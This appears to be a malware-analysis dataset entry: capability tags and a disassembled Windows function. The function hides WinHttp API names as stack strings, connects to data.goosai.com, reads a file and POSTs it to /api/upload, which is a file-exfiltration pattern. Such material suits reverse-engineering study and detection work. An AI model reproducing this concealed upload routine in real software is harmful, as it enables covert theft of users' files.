Function at 0x408a00
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504311
mov eax, dword fs:[0]
push eax
sub esp, 0x48c
mov eax, dword [0x543720]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
test ecx, ecx
je 0x408e07
test eax, eax
je 0x408e07
call fcn.0040a050
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, dword [esi + 4]
test eax, eax
je 0x408a7f
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x486e6957
push ecx
push eax
mov dword [ebp - 0x18], 0x4f707474
mov dword [ebp - 0x14], 0x6e6570
call edi
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x14]
push 0
push 0
push 0
push 1
push 0x529c74
call eax
mov ebx, eax
call fcn.0040a050
mov esi, eax
mov eax, dword [esi + 4]
test eax, eax
je 0x408aca
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x486e6957
push ecx
push eax
mov dword [ebp - 0x28], 0x43707474
mov dword [ebp - 0x24], 0x656e6e6f
mov word [ebp - 0x20], 0x7463
mov byte [ebp - 0x1e], 0
call edi
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x24]
push 0
push 0x50
push str.data.goosai.com
push ebx
call eax
mov edi, eax
test edi, edi
je 0x408e07
sub esp, 0x10
push ebx
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043f080
push ecx
lea eax, [ebp - 0x438]
mov dword [ebp - 0x438], 0x529cc0
push eax
push ecx
push 0x529cc8
push str._api_upload
push str.POST
push edi
push ecx
mov dword [ebp - 0x434], 0
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043edc0
mov esi, eax
mov dword [ebp - 0x494], esi
test esi, esi
jne 0x408b67
push edi
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043ef30
push ebx
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043ef30
jmp 0x408e07
push str.Content_Type:_multipart_form_data__boundary__boundary_cswuygtest_r_n
lea ecx, [ebp - 0x484]
call fcn.00407600
mov dword [ebp - 4], 0
lea eax, [ebp - 0x484]
cmp dword [ebp - 0x470], 8
push ecx
push dword [ebp - 0x474]
cmovae eax, dword [ebp - 0x484]
push eax
push esi
call fcn.0040a050
mov ecx, eax
call fcn.0043eeb0
push str.____boundary_cswuygtest_r_n
lea ecx, [ebp - 0x450]
call fcn.00401d30
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x450]
push str.Content_Disposition:_form_data__name_file___filename_
call fcn.00409b70
push dword [ebp - 0x490]
lea ecx, [ebp - 0x450]
call fcn.00409b70
push 0x529ddc
lea ecx, [ebp - 0x450]
call fcn.00409b70
push str.Content_Type:application_octet_stream_r_n_r_n
lea ecx, [ebp - 0x450]
call fcn.00409b70
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x458], 0xf
mov dword [ebp - 0x45c], 0
mov byte [ebp - 0x46c], 0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x488]
push 0x529e0c
push dword [ebp - 0x48c]
mov dword [ebp - 0x488], 0
push eax
call fcn.004e1593
mov eax, dword [ebp - 0x488]
add esp, 0xc
test eax, eax
je 0x408ccf
push 2
push 0
push eax
call fcn.004e1d37
add esp, 0xc
push dword [ebp - 0x488]
call fcn.004e1bd9
add esp, 4
mov esi, eax
push 0
push 0
push dword [ebp - 0x488]
call fcn.004e1d37
add esp, 0xc
lea ecx, [ebp - 0x46c]
push esi
call fcn.00409bb0
push dword [ebp - 0x488]
cmp dword [ebp - 0x458], 0x10
lea eax, [ebp - 0x46c]
push esi
cmovae eax, dword [ebp - 0x46c]
push 1
push eax
call fcn.004e179d
push dword [ebp - 0x488]
call fcn.004e1e26
mov esi, dword [ebp - 0x494]
add esp, 0x14
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x450]
call fcn.0040a270
push 0x529e10
lea ecx, [ebp - 0x450]
call fcn.00409b70
push str.____boundary_cswuygtest___r_n
lea ecx, [ebp - 0x450]
call fcn.00409b70
cmp dword [ebp - 0x43c], 0x10
lea ecx, [ebp - 0x450]
mov edx, dword [ebp - 0x440]
lea eax, [ebp - 0x484]
cmovae ecx, dword [ebp - 0x450]
cmp dword [ebp - 0x470], 8
push ecx
cmovae eax, dword [ebp - 0x484]
push edx
push edx
push ecx
push dword [ebp - 0x474]
push eax
push esi
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043ef90
push ecx
push esi
call fcn.0040a050
mov ecx, eax
call fcn.0043f010
push 0x3ff
lea eax, [ebp - 0x42f]
mov byte [ebp - 0x430], 0
push 0
push eax
call fcn.004e4b60
add esp, 0xc
mov dword [ebp - 0x454], 0
lea eax, [ebp - 0x454]
push eax
push 0x400
lea eax, [ebp - 0x430]
push eax
push esi
call fcn.0040a050
mov ecx, eax
call fcn.0043ee40
push esi
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043ef30
push edi
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043ef30
push ebx
push ecx
call fcn.0040a050
add esp, 4
mov ecx, eax
call fcn.0043ef30
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x46c]
call fcn.00401d90
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x450]
call fcn.00401d90
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x484]
call fcn.004076a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004e03e9
mov esp, ebp
pop ebp
ret